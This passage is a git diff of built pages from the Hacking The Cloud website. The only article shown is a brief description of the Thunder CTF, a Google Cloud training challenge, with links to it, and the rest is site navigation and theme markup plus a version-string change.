class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4 checked> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Thunder CTF </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Thunder CTF </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#links class=md-nav__link> <span class=md-ellipsis> Links: </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#links class=md-nav__link> <span class=md-ellipsis> Links: </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Aloïs THÉVENOT</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/capture_the_flag/thunder_ctf.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Thunder CTF</h1> <blockquote> <p>Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a "secret" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.</p> </blockquote> <p>The CTF is available at https://thunder-ctf.cloud/.</p> <p>The GitHub repository for the Thunder CTF also includes:</p> <ul> <li><a href=https://thunder-ctf.cloud/leastprivilege/ >Least Privileges</a></li> <li><a href=https://asokamoto.github.io/CloudAuditCTFs/ >Cloud Audit</a></li> </ul> <p>Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.</p> <p>Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.</p> <h2 id=links>Links:<a class=headerlink href=#links title="Permanent link">&para;</a></h2> <ul> <li><a href=https://thunder-ctf.cloud/ >Website</a></li> <li><a href=https://github.com/NicholasSpringer/thunder-ctf>GitHub</a></li> </ul> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 2, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 23, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/gcp/enumeration/enum_email_addresses/index.html b/gcp/enumeration/enum_email_addresses/index.html
index bfb7d4bfa..888b35e70 100644
--- a/gcp/enumeration/enum_email_addresses/index.html
+++ b/gcp/enumeration/enum_email_addresses/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses."><link href=https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ rel=canonical><link href=../../general-knowledge/security-and-constraints/ rel=prev><link href=../enumerate_all_permissions/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Unauthenticated Enumeration of Google Workspace Email Addresses - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Unauthenticated Enumeration of Google Workspace Email Addresses - Hacking The Cloud"><meta property=og:description content="Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Unauthenticated Enumeration of Google Workspace Email Addresses - Hacking The Cloud"><meta property=twitter:description content="Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses."><link href=https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ rel=canonical><link href=../../general-knowledge/security-and-constraints/ rel=prev><link href=../enumerate_all_permissions/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Unauthenticated Enumeration of Google Workspace Email Addresses - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Unauthenticated Enumeration of Google Workspace Email Addresses - Hacking The Cloud"><meta property=og:description content="Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Unauthenticated Enumeration of Google Workspace Email Addresses - Hacking The Cloud"><meta property=twitter:description content="Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#unauthenticated-enumeration-of-valid-google-workspace-email-addresses class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 